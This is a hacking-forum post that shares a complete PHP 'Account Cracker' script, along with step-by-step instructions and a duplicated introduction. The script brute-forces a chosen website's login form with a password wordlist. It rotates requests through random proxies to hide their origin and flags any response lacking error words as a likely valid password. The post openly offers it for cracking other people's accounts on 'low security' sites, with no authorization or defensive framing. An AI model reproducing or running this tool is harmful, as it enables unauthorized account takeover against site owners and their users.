Account Cracker[With Proxy Support][PHP] 01-25-2013, 11:41 AM
#1
Hello Hack Community,
This is my 500th post.
I'd like to share another script coded by myself. Its an account cracker coded in PHP.
It has proxy support.
Here's the code :
First, we need a proxy list. Get if from HERE. Thanks to Deque for this.
Secondly, we need a word list. Get it from HERE.
Rename the proxy list to proxylist.txt(Its important that you name it with this name)
Rename the word list to wordlist.txt(Its important that you name it with this name)
What my script does is, it sends the username, password and hidden fields as post requests to the remote file.
If the remote file says that the username, password combination is correct, the password is displayed.
The username is to be entered by the user of this script.
Password will be loaded from wordlist.txt
1. Download a word list and a proxy list from the links given above.
2. Copy my php code to a notepad file, save it as cracker.php
3. Now, go to your web hosting account(make sure your web hosting account supports PHP cURL).
4. Upload proxylist.txt, wordlist.txt and cracker.php in the same directory.
5. Now, go to the log in page of the site whose account you would like to crack.
6. Now, right click on the log in page and click on View page source option.
7. Press Ctrl+F and search for <form.
8. Now, count the number of hidden fields of the form.
9. An easy way to do this would be, count the number of times type="hidden" occurs and note it down.
10. Now, suppose your website is http://site.com and the URL of the file cracker.php is http://site.com/cracker.php
11. If the number of hidden fields is 0, open http://site.com/cracker.php in another tab
12. If the number of hidden fields is 1, open http://site.com/cracker.php?hidden=1 in another tab or http://site.com/cracker.php?hidden=2 for 2 hidden fields and so on...
Here's a screenshot of how crack.php would look if the number of hidden fields is 0(observe the URL).
![[Image: ibyMiLuFhUjrEP.jpg]](http://i3.minus.com/ibyMiLuFhUjrEP.jpg)
Here's a screenshot of how crack.php would look if the number of hidden fields is 2(observe the URL).
![[Image: iwgbVoPZp0UwP.jpg]](http://i1.minus.com/iwgbVoPZp0UwP.jpg)
13. Now, back to the source of the log in page.
14. Search for action=" and copy the url in between the "".
15. Paste it in the textbox of the Account Cracker that says Enter URL :
16. Back to the source of the log in page. Search for type="text" and beside it'll you'll find name="
17. Copy whatever is written between the "" after name= and paste it in the textbox of the Account Cracker that says Enter name of username field :. This is the name if the username field.
18. After that, search for type="password" and copy the corresponding name of the password field to the textbox of the Account Cracker that says Enter name of password field :
19. After that, search for type="hidden" and copy the corresponding name of the hidden field to the textbox of the Account Cracker that says Enter name of hidden field(x) :
20. For the same hidden field, search for value=, copy the value between the "" and paste it in the textbox of the Account Cracker that says Enter name of value field(x) :
21. So, one hidden field done, do the same for all the hidden fields. Name in the Enter name of hidden field(y) : and value in the Enter value of hidden field(x) : textboxes respectively.
22. After all textboxes of the Account Cracker is filled, click on the submit button and wait for the password to get cracked.
NOTE : This script will not work on targets in your LAN (if using proxy that doesn't have access to it). (thanks to 1llusion for telling this to me).
I don't guarantee this to work for each and every site. But it'll work for sites having low security. This code is proxy supported, so it has got some plus point.
Enjoy hacking...
FEEDBACK WOULD BE HIGHLY APPRECIATED!!
This is my 500th post.
I'd like to share another script coded by myself. Its an account cracker coded in PHP.
It has proxy support.
Here's the code :
PHP Code:
<html>
<!--Coded By The Alchemist-->
<head>
<title>Account Cracker</title>
<style type="text/css">
body
{
color: #ffffff;
text-shadow: 2px 2px #000000;
background-color: #282828;
font-family: Arial, Helvetica, sans-serif;
}
pre
{
background-color: #353535;
border: solid 1px #505050;
}
input
{
font-family: Arial, Helvetica, sans-serif;
}
.Button
{
padding: 5px 10px;
background: #303030;
border: solid #101010 1px;
color: #fff;
cursor: pointer;
font-weight: bold;
border-radius: 5px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
text-shadow: 1px 1px #000;
}
.Input
{
border: solid #101010 1px;
color: white;
font-weight: bold;
padding: 3px;
background-color: #252525;
}
</style>
</head>
<body>
<div align="center">
<pre>
_____ __ _________ __
/ _ \ ____ ____ ____ __ __ _____/ |_ \_ ___ \____________ ____ | | __ ___________
/ /_\ \_/ ___\/ ___\/ _ \| | \/ \ __\ / \ \/\_ __ \__ \ _/ ___\| |/ // __ \_ __ \
/ | \ \__\ \__( <_> ) | / | \ | \ \____| | \// __ \\ \___| <\ ___/| | \/
\____|__ /\___ >___ >____/|____/|___| /__| \______ /|__| (____ /\___ >__|_ \\___ >__|
\/ \/ \/ \/ \/ \/ \/ \/ \/
Coded By The Alchemist www.HackCommunity.com
</pre>
<?php
## Coded by The Alchemist
## www.hackcommunity.com
$hidden = 0;
set_time_limit(0);
function crack($url, $post_fields)
{
$agent= 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0';
$flag = 0;
$wordList = file('wordlist.txt');
$proxyList = file('proxylist.txt');
$mh = curl_multi_init();
$ch = array();
foreach($wordList as $lineNumber => $value)
{
if(strstr($value,"\n"))
{
$value = substr($value, 0, strlen($value)-2);
}
$post = $post_fields.$value;
$ch[$lineNumber] = curl_init($url);
curl_setopt_array($ch[$lineNumber], array(CURLOPT_RETURNTRANSFER => true,
CURLOPT_PROXY => $proxyList[array_rand($proxyList)],
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_VERBOSE => true,
CURLOPT_REFERER => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post,
CURLOPT_USERAGENT => $agent,
CURLOPT_HEADER => true));
curl_multi_add_handle($mh, $ch[$lineNumber]);
}
$running = null;
do
{
curl_multi_exec($mh, $running);
} while($running > 0);
foreach($ch as $lineNumber => $handler)
{
if(!strstr(curl_multi_getcontent($handler),'error') &&
!strstr(curl_multi_getcontent($handler),'invalid') &&
!strstr(curl_multi_getcontent($handler),'wrong'))
{
$flag = 1;
echo '<br /><span style="color: red;">'.$wordList[$lineNumber].'</span>MIGHT BE A VALID PASSWORD';
}
}
if($flag == 0)
{
echo 'Password could <span style="color: red;">NOT</span> be cracked';
}
}
if(!file_exists('proxylist.txt') || !file_exists('wordlist.txt'))
{
echo 'Please upload the Proxy List as proxylist.txt';
echo ' and the Password List as wordlist.txt in the same directory';
echo '<br />Try again after uploading.';
exit();
}
?>
<form method="post" action="">
<table>
<tr><td>Enter URL : </td><td><input type="text" name="url" class="Input" value="http://example.com" /><br /></td></tr>
<tr><td>Enter name of username field : </td><td><input type="text" name="namef" class="Input" value="" /><br /></td></tr>
<tr><td>Enter username value : </td><td><input type="text" name="namev" class="Input" value="" /><br /></td></tr>
<tr><td>Enter name of password field : </td><td><input type="text" name="passf" class="Input" value="" /><br /></td></tr>
<tr><td>Enter name of submit button field : </td><td><input type="text" name="submitf" class="Input" value="" /><br /></td></tr>
<tr><td>Enter value of submit button field : </td><td><input type="text" name="submitv" class="Input" value="" /><br /></td></tr>
<?php
if(isset($_GET['hidden']) && is_numeric($_GET['hidden']))
{
$hidden = $_GET['hidden'];
for($i = 1 ; $i <= $hidden ; $i++)
{?>
<tr><td>Enter name of hidden field(<?php echo $i; ?>) : </td><td><input type="text" name="hidf<?php echo $i; ?>" class="Input" value="" /><br /></td>
<td>Enter value of hidden field(<?php echo $i; ?>) : </td><td><input type="text" name="hidv<?php echo $i; ?>" class="Input" value="" /><br /></td></tr>
<?php
}
}?>
<tr><td></td><td><input type="submit" name="submit" class="Button" value="Submit" /><br /></td></tr>
</table>
</form>
<?php
$cond = true;
$post_fields = "";
for($i = 1 ; $i <= $hidden ; $i++)
{
$key1 = 'hidf'.$i; $key2 = 'hidv'.$i;
if(isset($_POST[$key1], $_POST[$key2]))
{
$post_fields = $post_fields.$_POST[$key1]."=".$_POST[$key2]."&";
}
else
{
$cond = false;
break;
}
}
if(isset($_POST['url'], $_POST['namef'], $_POST['namev'], $_POST['passf'], $_POST['submitf'], $_POST['submitv'], $_POST['submit'])
&& filter_var($_POST['url'], FILTER_VALIDATE_URL) && $cond)
{
$posts = $_POST['namef']."=".$_POST['namev']."&";
$posts = $posts.$_POST['submitf']."=".$_POST['submitv']."&";
$post_fields = $posts.$post_fields.$_POST['passf']."=";
crack($_POST['url'], $post_fields);
}
?>
</div>
</body>
</html>
How does it work?
First, we need a proxy list. Get if from HERE. Thanks to Deque for this.
Secondly, we need a word list. Get it from HERE.
Rename the proxy list to proxylist.txt(Its important that you name it with this name)
Rename the word list to wordlist.txt(Its important that you name it with this name)
What my script does is, it sends the username, password and hidden fields as post requests to the remote file.
If the remote file says that the username, password combination is correct, the password is displayed.
The username is to be entered by the user of this script.
Password will be loaded from wordlist.txt
How to use it?
1. Download a word list and a proxy list from the links given above.
2. Copy my php code to a notepad file, save it as cracker.php
3. Now, go to your web hosting account(make sure your web hosting account supports PHP cURL).
4. Upload proxylist.txt, wordlist.txt and cracker.php in the same directory.
5. Now, go to the log in page of the site whose account you would like to crack.
6. Now, right click on the log in page and click on View page source option.
7. Press Ctrl+F and search for <form.
8. Now, count the number of hidden fields of the form.
9. An easy way to do this would be, count the number of times type="hidden" occurs and note it down.
10. Now, suppose your website is http://site.com and the URL of the file cracker.php is http://site.com/cracker.php
11. If the number of hidden fields is 0, open http://site.com/cracker.php in another tab
12. If the number of hidden fields is 1, open http://site.com/cracker.php?hidden=1 in another tab or http://site.com/cracker.php?hidden=2 for 2 hidden fields and so on...
Here's a screenshot of how crack.php would look if the number of hidden fields is 0(observe the URL).
Spoiler:
![[Image: ibyMiLuFhUjrEP.jpg]](http://i3.minus.com/ibyMiLuFhUjrEP.jpg)
Here's a screenshot of how crack.php would look if the number of hidden fields is 2(observe the URL).
Spoiler:
![[Image: iwgbVoPZp0UwP.jpg]](http://i1.minus.com/iwgbVoPZp0UwP.jpg)
13. Now, back to the source of the log in page.
14. Search for action=" and copy the url in between the "".
15. Paste it in the textbox of the Account Cracker that says Enter URL :
16. Back to the source of the log in page. Search for type="text" and beside it'll you'll find name="
17. Copy whatever is written between the "" after name= and paste it in the textbox of the Account Cracker that says Enter name of username field :. This is the name if the username field.
18. After that, search for type="password" and copy the corresponding name of the password field to the textbox of the Account Cracker that says Enter name of password field :
19. After that, search for type="hidden" and copy the corresponding name of the hidden field to the textbox of the Account Cracker that says Enter name of hidden field(x) :
20. For the same hidden field, search for value=, copy the value between the "" and paste it in the textbox of the Account Cracker that says Enter name of value field(x) :
21. So, one hidden field done, do the same for all the hidden fields. Name in the Enter name of hidden field(y) : and value in the Enter value of hidden field(x) : textboxes respectively.
22. After all textboxes of the Account Cracker is filled, click on the submit button and wait for the password to get cracked.
NOTE : This script will not work on targets in your LAN (if using proxy that doesn't have access to it). (thanks to 1llusion for telling this to me).
I don't guarantee this to work for each and every site. But it'll work for sites having low security. This code is proxy supported, so it has got some plus point.
Enjoy hacking...
FEEDBACK WOULD BE HIGHLY APPRECIATED!!



![[Image: 2YpkRjy.png]](http://i.imgur.com/2YpkRjy.png)
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)
just edited the note at the end a bit